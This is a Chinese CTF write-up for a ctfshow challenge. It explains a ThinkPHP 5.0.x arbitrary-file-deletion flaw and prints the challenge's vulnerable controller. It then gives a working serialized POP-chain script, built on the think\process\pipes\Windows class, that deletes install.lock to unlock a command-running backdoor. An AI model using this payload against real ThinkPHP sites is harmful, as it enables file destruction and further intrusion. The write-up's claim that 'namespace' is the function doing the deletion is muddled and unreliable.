1.Thinkphp版本
Thinkphp5.8之前
2.Thinkphp任意文件删除漏洞
这个漏洞可以通过反序列化将环境中存在的文件删除
利用到php函数
namespace
/在PHP中,namespace是一个关键字,用于定义命名空间。命名空间是一种将相关的类、函数和常量分组在一起的方式,以避免命名冲突并提供更好的代码组织。
利用这个函数将文件删除,去绕过自己想绕过的文件
3.Thinkphp任意文件删除漏洞的利用
例如下题是ctfshow中月亮杯||的一道题
<?php
namespace app\index\controller;
class Index
{
public function index($run=[])
{
highlight_file(__FILE__);
echo '<h1>Welcome to CTFSHOW</h1></br>';
echo 'Powered by PHPthink5.0.2</br>';
echo dirname(__FILE__);
if (!empty($run[2])){
echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
}
if (!empty($run[1])){
unserialize($run[1]);
}
}
// hint:/index/index/backdoor
public function backdoor(){
if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
echo "Try to post CMD arguments".'<br/>';
$data = input('post.');
if (!preg_match('/flag/i',$data['cmd'])){
$cmd = escapeshellarg($data['cmd']);
$cmd='cat '.$cmd;
echo $cmd;
system($cmd);
}else{
echo "No No No";
}
}else{
echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
}
}
}
第一步先代码审计一波
这里在backdoor中有一个名为install.lock的文件,我们需要去绕过它,而进行我们下一步的操作
在上一个函数中我们看到了反序列化这个函数,并且我们可以查看框架版本5.0.2,可以利用这个漏洞,下一步就是写一个反序列化的脚本,去删除这个文件
<?php
namespace think\process\pipes;
use think\Process;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = ["/var/www/html/application/index/controller/../../install.lock"];
}
}
echo urlencode(serialize(New Windows()))."\n";
?>
通过这个反序列化然后传入参数就可以去删除这个文件,从而达到我们的目的